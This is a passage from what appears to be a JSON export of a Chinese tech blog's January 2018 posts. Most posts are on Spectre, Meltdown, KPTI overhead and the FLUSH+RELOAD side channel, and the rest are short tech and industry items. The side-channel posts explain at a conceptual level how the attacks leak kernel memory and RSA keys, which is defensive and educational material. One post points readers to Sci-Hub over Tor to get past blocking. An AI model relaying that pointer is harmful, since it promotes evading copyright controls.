(CVE-2017-5754)</li>\r\n</ul>\r\n\r\n前兩個被稱作 Spectre，由 Google Project Zero、<a href=\"https://www.cyberus-technology.de/\">Cyberus Technology</a> 以及 <a href=\"https://www.iaik.tugraz.at/\">Graz University of Technology</a> 三個團隊獨立發現並且回報原廠。後面這個稱作 Meltdown，由 Google Project Zero 與另外一個團隊獨立發現並且回報原廠。\r\n\r\n這兩套 CPU 的安全漏洞都有「官網」，網址不一樣但內容一樣：<a href=\"http://spectreattack.com/\">spectreattack.com</a> 與 <a href=\"https://meltdownattack.com/\">meltdownattack.com</a>。\r\n\r\n影響範圍包括 <a href=\"https://www.intel.com/\">Intel</a>、<a href=\"https://www.amd.com/\">AMD</a> 以及 <a href=\"https://www.arm.com/\">ARM</a>，其中 AMD 因為架構不一樣，只有在特定的情況下會中獎 (在使用者自己打開 eBPF JIT 後才會中)：\r\n\r\n<blockquote>(提到 Variant 1 的情況) If the kernel's BPF JIT is enabled (non-default configuration), it also works on the AMD PRO CPU.</blockquote>\r\n\r\n這次的洞主要試著透過 side channel 資訊讀取記憶體內容 (會有一些條件限制)，而痛點在於修正 Meltdown 的方式會有極大的 CPU 效能損失，在 <a href=\"https://www.kernel.org/\">Linux</a> 上對 Meltdown 的修正的資訊可以參考「<a href=\"https://lwn.net/Articles/738975/\">KAISER: hiding the kernel from user space</a>」這篇，裡面提到：\r\n\r\n<blockquote>KAISER will affect performance for anything that does system calls or interrupts: everything. Just the new instructions (CR3 manipulation) add a few hundred cycles to a syscall or interrupt. Most workloads that we have run show single-digit regressions. 5% is a good round number for what is typical. The worst we have seen is a roughly 30% regression on a loopback networking test that did a ton of syscalls and context switches.</blockquote>\r\n\r\nKAISER 後來改名為 <a href=\"https://en.wikipedia.org/wiki/Kernel_page-table_isolation\">KPTI</a>，查資料的時候可以注意一下。\r\n\r\n不過上面提到的是實體機器，在 VM 裡面可以預期會有更多 syscall 與 context switch，於是 <a href=\"https://www.phoronix.com/\">Phoronix</a> 測試後發現在 VM 裡效能的損失比實體機器大很多 (還是跟應用有關，主要看應用會產生多少 syscall 與 context switch)：「<a href=\"https://www.phoronix.com/scan.php?page=article&amp;item=linux-kpti-kvm&amp;num=4\">VM Performance Showing Mixed Impact With Linux 4.15 KPTI Patches</a>」。\r\n\r\n<blockquote>With these VM results so far it's still a far cry from the \"30%\" performance hit that's been hyped up by some of the Windows publications, etc. It's still highly dependent upon the particular workload and system how much performance may be potentially lost when enabling page table isolation within the kernel.</blockquote>\r\n\r\n這對各家 cloud service 不是什麼好消息，如果效能損失這麼大，不太可能直接硬上 KPTI patch... 尤其是 VPS，對於平常就會 oversubscription 的前提下，KPTI 不像是可行的方案。\r\n\r\n可以看到各 VPS 都已經發 PR 公告了 (先發個 PR 稿說我們有在注意，但都還沒有提出解法)：「<a href=\"https://blog.linode.com/2018/01/03/cpu-vulnerabilities-meltdown-spectre/\">CPU Vulnerabilities: Meltdown &amp; Spectre</a> (<a href=\"https://www.linode.com/\">Linode</a>)」、「<a href=\"https://blog.digitalocean.com/a-message-about-intel-security-findings/\">A Message About Intel Security Findings</a> (<a href=\"https://www.digitalocean.com/\">DigitalOcean</a>)」、「<a href=\"https://www.vultr.com/news/Intel-CPU-Vulnerability-Alert/\">Intel CPU Vulnerability Alert</a> (<a href=\"https://www.vultr.com/\">Vultr</a>)」。\r\n\r\n現在可以預期會有更多人投入研究，要怎麼樣用比較少的 performance penalty 來抵抗這兩套漏洞，現在也只能先等了...",
    "title": "Spectre 與 Meltdown 兩套 CPU 的安全漏洞"
  },
  {
    "id": "8023",
    "body": "看得出來 <a href=\"https://en.wikipedia.org/wiki/Linus_Torvalds\">Linus</a> 對於 <a href=\"https://www.intel.com/\">Intel</a> 的行為很不爽：「<a href=\"https://lkml.org/lkml/2018/1/3/797\">Re: Avoid speculative indirect calls in kernel</a>」。\r\n\r\n<pre>Please talk to management. Because I really see exactly two possibibilities:\r\n\r\n - Intel never intends to fix anything\r\n\r\nOR\r\n\r\n - these workarounds should have a way to disable them.\r\n\r\nWhich of the two is it?</pre>\r\n\r\n那個 <code>possibibilities</code> 應該是 typo，但不知道為什麼看起來很有味道 XDDD",
    "title": "Linus (又) 不爽了... XD"
  },
  {
    "id": "8024",
    "body": "忘記是在哪邊看到 <a href=\"https://github.com/avysk/psgo_emitter\">avysk/psgo_emitter</a> 這個套件，提供 <a href=\"https://en.wikipedia.org/wiki/TeX\">TeX</a> 語法輸出成圍棋棋盤的圖示，不過說明裡說只支援 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a> 平台：\r\n\r\n<blockquote>psgo_emitter is a (Windows) console utility to create go diagrams for go life-and-death problems (tsumego).</blockquote>\r\n\r\n可以只輸出角部，像是這段語法：\r\n\r\n<pre>    begin{psgopartialboard}{(1,1)(8,6)}\r\n            stone{black}{b}{3}\r\n            stone{black}{d}{3}\r\n            stone{black}{b}{4}\r\n            stone{white}{d}{5}\r\n            stone{white}{g}{2}\r\n            stone{black}{d}{2}\r\n            stone{white}{b}{5}\r\n            stone{white}{c}{4}\r\n            stone{white}{e}{4}\r\n            stone{white}{e}{3}\r\n            stone{white}{e}{2}\r\n            stone{black}{e}{1}\r\n    end{psgopartialboard}</pre>\r\n\r\n會輸出這樣的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/V3L6exE.webp\" /><img src=\"https://i.gslin.com/imgur/V3L6exE.jpg\" alt=\"\" /></picture>\r\n\r\n另外也可以把手順放進去：\r\n\r\n<pre>    begin{psgopartialboard}{(1,1)(8,6)}\r\n            stone{black}{b}{3}\r\n            stone[marklb{1}]{black}{a}{2}\r\n            stone{black}{d}{3}\r\n            stone{black}{b}{4}\r\n            stone[marklb{8}]{white}{f}{1}\r\n            stone[marklb{6}]{white}{d}{1}\r\n            stone{white}{e}{2}\r\n            stone{white}{g}{2}\r\n            stone{black}{d}{2}\r\n            stone{white}{b}{5}\r\n            stone[marklb{7}]{black}{b}{2}\r\n            stone[marklb{9}]{black}{a}{1}\r\n            stone{white}{c}{4}\r\n            stone[marklb{4}]{white}{c}{2}\r\n            stone{white}{e}{4}\r\n            stone[marklb{5}]{black}{c}{3}\r\n            stone{white}{e}{3}\r\n            stone[marklb{2}]{white}{b}{1}\r\n            stone{white}{d}{5}\r\n            stone[marklb{3}]{black}{a}{4}\r\n            stone{black}{e}{1}\r\n    end{psgopartialboard}</pre>\r\n\r\n就會輸出：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xEMT3Kn.webp\" /><img src=\"https://i.gslin.com/imgur/xEMT3Kn.jpg\" alt=\"\" /></picture>\r\n\r\n套件還很新，不知道之後會發展成什麼樣子...",
    "title": "在 TeX 上輸出圍棋棋譜的套件 psgo_emitter"
  },
  {
    "id": "8025",
    "body": "看到「<a href=\"http://www.cna.com.tw/news/firstnews/201801040267-1.aspx\">因應美稅改 賴揆：加速洽簽台美租稅協定</a>」這則消息，如果沒記錯的話，有不少服務都是美國公司出帳... (像是 <a href=\"https://aws.amazon.com/\">AWS</a>、<a href=\"https://slack.com\">Slack</a>、<a href=\"https://github.com/\">GitHub</a> 這類在公司裡很常用的服務)\r\n\r\n參考「<a href=\"https://www.mof.gov.tw/Detail/Index?nodeid=191&amp;pid=63931&amp;rand=1073\">我國股利、利息及權利金扣繳率(%)一覽表</a>」這邊的資料，應該有機會從 20% 降到 10%？也就是說實付 100 萬的金額本來要多繳 25 萬 (帳要做成 100 萬 / (1 - 0.2) = 125 萬，其中的 20% 是 25 萬萬稅，100 萬實際支付)，現在只要繳 11.1 萬 (100 萬 / (1 - 0.1) = 111.1 萬)？\r\n\r\n不過有些特殊情況本來就有更優惠的稅務方式 (像是使用國外平台提供服務 (e.g. AWS)，而服務的對象也是境外使用者的情況)，這些組合可以研究看看要怎麼搞...",
    "title": "台美之間的租稅協定 (還在橋)"
  },
  {
    "id": "8027",
    "body": "在發生爆發前一個月把自家 <a href=\"https://www.intel.com/\">Intel</a> 的股票賣到最低限度 XDDD：「<a href=\"http://www.businessinsider.com/intel-ceo-krzanich-sold-shares-after-company-was-informed-of-chip-flaw-2018-1\">Intel was aware of the chip vulnerability when its CEO sold off $24 million in company stock</a>」，引用的新聞是「<a href=\"https://www.fool.com/investing/2017/12/19/intels-ceo-just-sold-a-lot-of-stock.aspx\">Intel's CEO Just Sold a Lot of Stock</a>」：\r\n\r\n<blockquote>On Nov. 29, Brian Krzanich, the CEO of chip giant Intel (NASDAQ:INTC), reported several transactions in Intel stock in a Form 4 filing with the SEC.</blockquote>\r\n\r\n所以十一月底的時候賣掉... 只保留 CEO 最低限額 250 張：\r\n\r\n<blockquote>Those two transactions left Krzanich with exactly 250,000 shares -- the bare minimum that he's required to hold as CEO.</blockquote>\r\n\r\n來看看獲利會不會被追回 XDDD",
    "title": "Intel CEO 做的真不錯 XDDD"
  },
  {
    "id": "8028",
    "body": "<a href=\"https://meltdownattack.com/\">Meltdown</a> 與 <a href=\"https://spectreattack.com/\">Spectre</a> 攻擊裡都有用到的 FLUSH+RELOAD 技巧。這個技巧是出自於 2013 年的「<a href=\"https://eprint.iacr.org/2013/448\">Flush+Reload: a High Resolution, Low Noise, L3 Cache Side-Channel Attack</a>」。當時還因此對 <a href=\"https://www.gnupg.org/\">GnuPG</a> 發了一個 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4242\">CVE-2013-4242</a>。\r\n\r\nFLUSH+RELOAD 是希望透過 shared memory &amp; cache 得到 side channel information，藉此突破安全機制。\r\n\r\n論文裡面提到兩個攻擊模式，一種是在同一個 OS 裡面 (same-OS)，另外一種是在同一台機器，但是是兩個不同的 VM (cross-VM)。攻擊的前提是要拿到與 GnuPG process 相同的 shared memory。兩個環境的作法都是透過 <code>mmap()</code> GnuPG 的執行檔以取得 shared memory。\r\n\r\n在 same-OS 的情況下會使用同一個 process：\r\n\r\n<blockquote>To achieve sharing, the spy mmaps the victim’s executable file into the spy’s virtual address space. As the Linux loader maps executable files into the process when executing them, the spy and the victim share the memory image of the mapped file.</blockquote>\r\n\r\n在 cross-VM 的情況下會因為 hypervisor 會 dedup 而產生 shared memory：\r\n\r\n<blockquote>For the cross-VM scenario we used two different hypervisors: VMware ESXi 5.1 on the HP machine and Centos 6.5 with KVM on the Dell machine. In each hypervisor we created two virtual machines, one for the victim and the other for the spy. The virtual machines run CentOS 6.5 Linux. In this scenario, the spy mmaps a copy of the victim’s executable file. Sharing is achieved through the page de-duplication mechanisms of the hypervisors.</blockquote>\r\n\r\n接下來就能夠利用 cache 表演了。基本原理是「存取某一塊記憶體內容，然後計算花了多久取得，就能知道這次存取是從 L1、L2、L3 還是記憶體取得」。所以 FLUSH+RELOAD 就設計了三個步驟：\r\n\r\n<ul>\r\n\t<li>During the first phase, the monitored memory line is flushed from the cache hierarchy.</li>\r\n\t<li>The spy, then, waits to allow the victim time to access the memory line before the third phase.</li>\r\n\t<li>In the third phase, the spy reloads the memory line, measuring the time to load it.</li>\r\n</ul>\r\n\r\n先 flush 掉要觀察的記憶體位置 (用 <code>clflush</code>)，然後等待一小段時間，接著掃記憶體區塊，透過時間得知有哪些被存取過 (就會比較快)。這邊跟 cache 架構有關，你不能想要偷看超過 cache 大小的量 (這樣會被 purge 出去)，所以通常是盯著關鍵的部份就好。\r\n\r\n接著是要搞 GnuPG，先看他在使用 RSA private key 計算的程式碼：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hvB9OzL.webp\" /><img src=\"https://i.gslin.com/imgur/hvB9OzL.jpg\" alt=\"\" /></picture>\r\n\r\n而依照這段程式碼挑好位置觀察後，就開始攻擊收資訊。隨著時間變化就可以看到這樣的資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dRftrA6.webp\" /><img src=\"https://i.gslin.com/imgur/dRftrA6.jpg\" alt=\"\" /></picture>\r\n\r\n然後可以觀察出執行的順序：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RQ8mpA8.webp\" /><img src=\"https://i.gslin.com/imgur/RQ8mpA8.jpg\" alt=\"\" /></picture>\r\n\r\n於是就能夠依照執行順序推敲出 RSA key 了，而實際測試的成果是這樣，在一次的 decrypt 或是 sign 就把 RSA key 還原的差不多了 (96.7%)：\r\n\r\n<blockquote>We demonstrate the efficacy of the FLUSH+RELOAD attack by using it to extract the private encryption keys from a victim program running GnuPG 1.4.13. We tested the attack both between two unrelated processes in a single operating system and between processes running in separate virtual machines. On average, the attack is able to recover 96.7% of the bits of the secret key by observing a single signature or decryption round.</blockquote>\r\n\r\n知道了這個方法後，看 Meltdown 或是 Spectre 才會知道他們用 FLUSH+RELOAD 的原因... (因為在 Meltdown 與 Spectre 裡面就只有帶過去)",
    "title": "Meltdown 與 Spectre 都有用到的 FLUSH+RELOAD"
  },
  {
    "id": "8029",
    "body": "在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/01/cloudfront-adds-six-new-edge-locations/\">Amazon CloudFront announces six new Edge Locations, adding two more in Tokyo, JP, and its first location in Perth, AU</a>」這邊看到 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 在東京直接加兩個 Edge，變成七個 Edge 了：\r\n\r\n<blockquote>Amazon CloudFront announces six new Edge Locations that are now part of its global network. These six new Edge Locations are located in the following cities:\r\n\r\nPerth, Australia; Chennai, India; Rio De Janeiro, Brazil; Los Angeles, California; and two additional Edge Locations in Tokyo, Japan.</blockquote>\r\n\r\n再加上大阪還有一個 Edge，日本的量這麼大喔？會跟 Regional Edge 有關嗎...",
    "title": "CloudFront 東京加到七個 Edge..."
  },
  {
    "id": "8030",
    "body": "<a href=\"https://meltdownattack.com/\">Meltdown</a> 的論文可以在「<a href=\"https://meltdownattack.com/meltdown.pdf\">Meltdown</a> (PDF)」這邊看到。這個漏洞在 <a href=\"https://www.intel.com/\">Intel</a> 的 CPU 上影響最大，而在 <a href=\"https://www.amd.com/\">AMD</a> 是不受影響的。其他平台有零星的消息，不過不像 Intel 是這十五年來所有的 CPU 都中獎... (從 <a href=\"https://en.wikipedia.org/wiki/Pentium_4\">Pentium 4</a> 以及之後的所有 CPU)\r\n\r\nMeltdown 是基於這些前提，而達到記憶體任意位置的 memory dump：\r\n\r\n<ul>\r\n\t<li>支援 µOP 方式的 out-of-order execution 以及當失敗時的 rollback 機制。</li>\r\n\t<li>因為 cache 機制造成的 side channel information leak。</li>\r\n\t<li>在 out-of-order execution 時對記憶體存取的 permission check 失效。</li>\r\n</ul>\r\n\r\nout-of-order execution 在大學時的計算機組織應該都會提到，不過我印象中當時只講「在確認不相干的指令才會有 out-of-order」。而現代 CPU 做的更深入，包括了兩個部份：\r\n\r\n<ul>\r\n\t<li>第一個是 µOP 方式，將每個 assembly 拆成更細的 micro-operation，後面的 out-of-order execution 是對 µOP 做。</li>\r\n\t<li>第二個是可以先執行下去，如果發現搞錯了再 rollback。</li>\r\n</ul>\r\n\r\n像是下面的 <code>access()</code> 理論上不應該被執行到，但現代的 out-of-order execution 會讓 CPU 有機會先跑後面的指令，最後發現不該被執行到後，再將 register 與 memory 的資料 rollback 回來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/g8erjDR.webp\" /><img src=\"https://i.gslin.com/imgur/g8erjDR.jpg\" alt=\"\" /></picture>\r\n\r\n而 Meltdown 把後面不應該執行到 code 放上這段程式碼 (這是 Intel syntax assembly)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fbBMzwU.webp\" /><img src=\"https://i.gslin.com/imgur/fbBMzwU.jpg\" alt=\"\" /></picture>\r\n\r\n其中 <code>mov al, byte [rcx]</code> 應該要做記憶體檢查，確認使用者是否有權限存取那個位置。但這邊因為連記憶體檢查也拆成 µOP 平行跑，而產生 race condition：\r\n\r\n<blockquote>Meltdown is some form of race condition between the fetch of a memory address and the corresponding permission check for this address.</blockquote>\r\n\r\n而這導致後面這段不該被執行到的程式碼會先讀到資料放進 <code>al</code> register 裡。然後再去存取某個記憶體位置造成某塊記憶體位置被讀到 cache 裡。\r\n\r\n造成 cache 內的資料改變後，就可以透過 FLUSH+RELOAD 技巧 (side channel) 而得知這段程式碼讀了哪一塊資料 (參考之前寫的「<a href=\"https://blog.gslin.org/archives/2018/01/05/8028/meltdown-%E8%88%87-spectre-%E9%83%BD%E6%9C%89%E7%94%A8%E5%88%B0%E7%9A%84-flushreload/\">Meltdown 與 Spectre 都有用到的 FLUSH+RELOAD</a>」)，於是就能夠推出 <code>al</code> 的值...\r\n\r\n而 Meltdown 在 <code>mov al, byte [rcx]</code> 這邊之所以可以成立，另外一個需要突破的地方是 <code>[rcx]</code>。這邊 <code>[rcx]</code> 存取時就算沒有權限檢查，在 virtual address 轉成 physical address 時應該會遇到問題？\r\n\r\n原因是 <a href=\"https://www.kernel.org/\">Linux</a> 與 <a href=\"https://www.apple.com/osx/\">OS X</a> 上有 direct-physical map 的機制，會把整塊 physical memory 對應到 virtual memory 的固定位置上，這些位置不會再發給 user space 使用，所以是通的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HUr51IP.webp\" /><img src=\"https://i.gslin.com/imgur/HUr51IP.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>On Linux and OS X, this is done via a direct-physical map, i.e., the entire physical memory is directly mapped to a pre-defined virtual address (cf. Figure 2).</blockquote>\r\n\r\n而在 <a href=\"https://en.wikipedia.org/wiki/Windows\">Windows</a> 上則是比較複雜，但大部分的 physical memory 都有對應到 kernel address space，而每個 process 裡面也都還是有完整的 kernel address space (只是受到權限控制)，所以 Meltdown 的攻擊仍然有效：\r\n\r\n<blockquote>Instead of a direct-physical map, Windows maintains a multiple so-called paged pools, non-paged pools, and the system cache. These pools are virtual memory regions in the kernel address space mapping physical pages to virtual addresses which are either required to remain in the memory (non-paged pool) or can be removed from the memory because a copy is already stored on the disk (paged pool). The system cache further contains mappings of all file-backed pages. Combined, these memory pools will typically map a large fraction of the physical memory into the kernel address space of every process.</blockquote>\r\n\r\n這也是 workaround patch「<a href=\"https://en.wikipedia.org/wiki/Kernel_page-table_isolation\">Kernel page-table isolation</a>」的原理 (看名字大概就知道方向了)，藉由將 kernel 與 user 的區塊拆開來打掉 Meltdown 的攻擊途徑。\r\n\r\n而 AMD 的硬體則是因為 <code>mov al, byte [rcx]</code> 這邊權限的檢查並沒有放進 out-of-order execution，所以就避開了 Meltdown 攻擊中很重要的一環。",
    "title": "讀書時間：Meltdown 的攻擊方式"
  },
  {
    "id": "8031",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Fortnite\">Fortnite</a> 遊戲的伺服器放在 <a href=\"https://aws.amazon.com/\">AWS</a> 上，看起來這波 <a href=\"https://en.wikipedia.org/wiki/Meltdown_(security_vulnerability)\">Meltdown</a> 的安全更新 (<a href=\"https://en.wikipedia.org/wiki/KPTI\">KPTI</a>) 造成非常大的 overhead：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BiwWc9P.webp\" /><img src=\"https://i.gslin.com/imgur/BiwWc9P.jpg\" alt=\"\" /></picture>\r\n\r\n不過看起來出了問題：\r\n\r\n<blockquote>We wanted to provide a bit more context for the most recent login issues and service instability. All of our cloud services are affected by updates required to mitigate the Meltdown vulnerability. We heavily rely on cloud services to run our back-end and we may experience further service issues due to ongoing updates.</blockquote>\r\n\r\n最有可能的是把 AWS 當作一般的 VPS 在用，另外一種可能是有部份內部服務沒有 scale，造成上了 KPTI 後 overhead 增加，就卡住了...",
    "title": "Fortnite 看起來沒上 Auto Scaling？(或是沒正確設好？)"
  },
  {
    "id": "8033",
    "body": "收到標題是「Upcoming Changes to SSL Certificates in Amazon CloudWatch Logs」的信件，說明 <a href=\"https://aws.amazon.com/cloudwatch/\">Amazon CloudWatch</a> Logs 要換 SSL Certificate 的 CA，看起來是要換成自家的：\r\n\r\n<blockquote>We will be updating the certificate authority (CA) for the certificates used by Amazon CloudWatch Logs domain(s), between 8 January 2018 and 22 January 2018. After the updates complete, the SSL/TLS certificates used by Amazon CloudWatch Logs will be issued by Amazon Trust Services (ATS), the same certificate authority (CA) used by AWS Certificate Manager.</blockquote>\r\n\r\n然後有提到 cross-sign 的部份，有透過 <a href=\"https://starfieldtech.com/\">Starfield</a> 的 Root CA 簽，所以只要下面有任何一個有在 Root CA store 裡面就應該會信任：\r\n\r\n<blockquote>The update means that customers accessing AWS webpages via HTTPS (for example, the Amazon CloudWatch Console, customer portal, or homepage) or accessing Amazon CloudWatch Logs API endpoints, whether through browsers or programmatically, will need to update the trusted CA list on their client machines if they do not already support any of the following CAs:\r\n- \"Amazon Root CA 1\"\r\n- \"Starfield Services Root Certificate Authority - G2\"\r\n- \"Starfield Class 2 Certification Authority\"</blockquote>\r\n\r\n另外條列出有哪些 API endpoint 會改變：\r\n\r\n<blockquote>This upgrade notice covers the following endpoints:\r\nlogs.ap-northeast-1.amazonaws.com\r\nlogs.ap-northeast-2.amazonaws.com\r\nlogs.ap-south-1.amazonaws.com\r\nlogs.ap-southeast-1.amazonaws.com\r\nlogs.ap-southeast-2.amazonaws.com\r\nlogs.ca-central-1.amazonaws.com\r\nlogs.eu-central-1.amazonaws.com\r\nlogs.eu-west-1.amazonaws.com\r\nlogs.eu-west-2.amazonaws.com\r\nlogs.eu-west-3.amazonaws.com\r\nlogs.us-east-1.amazonaws.com\r\nlogs.us-east-2.amazonaws.com\r\nlogs.us-west-1.amazonaws.com\r\nlogs.us-west-2.amazonaws.com\r\nlogs.sa-east-1.amazonaws.com</blockquote>\r\n\r\n然後也列出了有哪些系統「應該」會支援：\r\n\r\n<blockquote>* Operating Systems With ATS Support\r\n- Microsoft Windows versions that have January 2005 or later updates installed, Windows Vista, Windows 7, Windows Server 2008, and newer versions\r\n- Mac OS X 10.4 with Java for Mac OS X 10.4 Release 5, Mac OS X 10.5 and newer versions\r\n- Red Hat Enterprise Linux 5 (March 2007), Linux 6, and Linux 7 and CentOS 5, CentOS 6, and CentOS 7\r\n- Ubuntu 8.10\r\n- Debian 5.0\r\n- Amazon Linux (all versions)\r\n- Java 1.4.2_12, Java 5 update 2, and all newer versions, including Java 6, Java 7, and Java 8</blockquote>\r\n\r\n不過沒看到 Windows XP 耶，不知道是怎樣 XD",
    "title": "Amazon CloudWatch Logs 換 SSL Certificate 的 CA"
  },
  {
    "id": "8034",
    "body": "換了一隻滑鼠後，發現速度已經調到最慢了，但還是感覺太快：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4yflVyt.webp\" /><img src=\"https://i.gslin.com/imgur/4yflVyt.jpg\" alt=\"\" /></picture>\r\n\r\n這時候就得調其他東西了，我是參考「<a href=\"http://www.pontikis.net/blog/fix-mouse-sensitivity-ubuntu\">Fix Mouse Sensitivity in Ubuntu 16.04</a>」這邊的說明來調整的。測過 <code>xset</code> 會動後，把檔案丟到 <code>~/.config/autostart/mouse.desktop</code> 裡面讓他登入後生效：\r\n\r\n<pre>[Desktop Entry]\r\nName=Decrease mouse sensitivity\r\nExec=xset m 1/2 8\r\nType=Application\r\nComment[en_US]=Use xset to set mouse params\r\nComment=Use xset to set mouse params</pre>\r\n\r\n這樣習慣一些...",
    "title": "Ubuntu 下調整滑鼠的速度..."
  },
  {
    "id": "8036",
    "body": "德國的研究機構在 2017 年年底前，也就是與 <a href=\"https://www.elsevier.com/\">Elsevier</a> 的合約到期前，還是沒有續約，但 Elsevier 決定還是先繼續提供服務，暫時性的為期一年，繼續談判：\r\n\r\n<blockquote>The Dutch publishing giant Elsevier has granted uninterrupted access to its paywalled journals for researchers at around 200 German universities and research institutes that had refused to renew their individual subscriptions at the end of 2017.\r\n\r\nThe institutions had formed a consortium to negotiate a nationwide licence with the publisher. They sought a collective deal that would give most scientists in Germany full online access to about 2,500 journals at about half the price that individual libraries have paid in the past. But talks broke down and, by the end of 2017, no deal had been agreed. Elsevier now says that it will allow the country’s scientists to access its paywalled journals without a contract until a national agreement is hammered out.</blockquote>\r\n\r\nElsevier 會這樣做主要是要避免讓德國的學術機構發現「沒有 Elsevier 其實也活的很好」。而不少研究人員已經知道這件事情，在大多數的情況下都有 Elsevier 的替代方案，不需要浪費錢簽那麼貴的費用：\r\n\r\n<blockquote>Günter Ziegler, a mathematician at the Free University of Berlin and a member of the consortium's negotiating team, says that German researchers have the upper hand in the negotiations. “Most papers are now freely available somewhere on the Internet, or else you might choose to work with preprint versions,” he says. “Clearly our negotiating position is strong. It is not clear that we want or need a paid extension of the old contracts.”</blockquote>\r\n\r\n替代方案有幾個方面，像是自由開放下載的 <a href=\"https://arxiv.org/\">arXiv</a> 愈來愈受到重視，很多研究者都會把投稿的論文在上面放一份 pre-print 版本 (甚至會更新)，而且近年來有些知名的證明只放在上面 (像是 <a href=\"https://en.wikipedia.org/wiki/Poincar%C3%A9_conjecture\">Poincaré conjecture</a>)。而且放在人家家裡比放在自己網站來的簡單 (不需要自己維護)，這都使得 arXiv 變成學術界新的標準平台。\r\n\r\n除了 arXiv 外，其他領域也有自己習慣的平台。像是密碼學這邊的「<a href=\"https://eprint.iacr.org/\">Cryptology ePrint Archive</a>」也運作很久了。\r\n\r\n除了找平台外，放在自家網站上的論文 (通常是學校或是學術機構的個人空間)，也因為搜尋引擎的發達，使得大家更容易找到對應檔案可以下載。\r\n\r\n而且更直接的攻擊性網站是 <a href=\"https://en.wikipedia.org/wiki/Sci-Hub\">Sci-Hub</a>，讓大家從 paywall 下載後丟上去公開讓人搜尋。雖然因為常常被封鎖的原因而常常在換網址，不過透過 <a href=\"https://www.torproject.org/projects/torbrowser.html.en\">Tor Browser</a> (或是自己設定 <a href=\"https://www.torproject.org/\">Tor</a> Proxy) 存取他們的 Hidden Service 就應該沒這個問題。\r\n\r\n希望德國可以撐下去，證明其實已經不需要 Elsevier...",
    "title": "Elsevier 讓德國的研究機構在還沒有續約的情況下繼續使用"
  },
  {
    "id": "8037",
    "body": "看到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 發表官方 <a href=\"https://twitter.com/\">Twitter</a> 帳號的消息：「<a href=\"https://www.postgresql.org/about/news/1819/\">Announcing @postgresql</a>」。\r\n\r\n<blockquote>The PostgreSQL Global Development Group is pleased to announce the launch of the official community Twitter handle: https://twitter.com/postgresql</blockquote>\r\n\r\n看起來是把官網資訊延伸出去... 在另外一個平台上也可以看到而已：\r\n\r\n<blockquote>@postgresql will contain a mix of automatic and manually curated postings from a group of volunteers that feature various aspects of PostgreSQL and the community-at-large. Content will contain a mix of news, advice, and highlights around PostgreSQL, and enable the PostgreSQL Global Development Group to further engage with the community. If you would like for @postgresql to highlight PostgreSQL-oriented content, we encourage you to reach out to @postgresql via Twitter’s direct message feature.</blockquote>\r\n\r\n本來的 <a href=\"https://planet.postgresql.org/\">Planet PostgreSQL</a> 也會繼續服務：\r\n\r\n<blockquote>The live feed for blog entries syndicated from Planet PostgreSQL will continue to be available at https://twitter.com/planetpostgres</blockquote>\r\n\r\n還是繼續用 RSS 訂閱就好 XD",
    "title": "PostgreSQL 的官方 Twitter 帳號"
  },
  {
    "id": "8039",
    "body": "看到「<a href=\"https://shipilev.net/jvm-anatomy-park/\">JVM Anatomy Park</a>」這篇，作者是 <a href=\"https://www.redhat.com/\">Red Hat</a> 裡 <a href=\"https://en.wikipedia.org/wiki/OpenJDK\">OpenJDK</a> 團隊的人，寫了二十則與 JVM 效能相關的主題，裡面提到每則大約花五到十分鐘可以看完，不過我覺得應該會再久一點 (需要翻資料交叉查)。\r\n\r\n除了網頁版外，也提供 EPUB、MOBI 與 PDF 格式可以下載。\r\n\r\n都是講效能相關的，從不同角度看。以第一個 Lock Coarsening and Loops 來說，已知這段程式碼：\r\n\r\n<pre>synchronized (obj) {\r\n  // statements 1\r\n}\r\nsynchronized (obj) {\r\n  // statements 2\r\n}</pre>\r\n\r\n會被轉換成這樣等效的程式碼：\r\n\r\n<pre>synchronized (obj) {\r\n  // statements 1\r\n  // statements 2\r\n}</pre>\r\n\r\n作者就問了，那這樣的話，這段：\r\n\r\n<pre>for (...) {\r\n  synchronized (obj) {\r\n    // something\r\n  }\r\n}</pre>\r\n\r\n會不會轉成這段呢：\r\n\r\n<pre>synchronized (this) {\r\n  for (...) {\r\n     // something\r\n  }\r\n}</pre>\r\n\r\n答案是不會，但可以橋：\r\n\r\n<blockquote>While lock coarsening does not work on the entire loop, another loop optimization — loop unrolling — sets up the stage for the regular lock coarsening, once the intermediate representation starts to look as if there are N adjacent lock-unlock sequences. This reaps the performance benefits, and helps to limit the scope of coarsening, to avoid over-coarsening over fat loops.</blockquote>\r\n\r\n就大概是這樣的主題 XD 每天看個一兩篇慢慢消化還不錯...",
    "title": "JVM 的各種調校"
  },
  {
    "id": "8040",
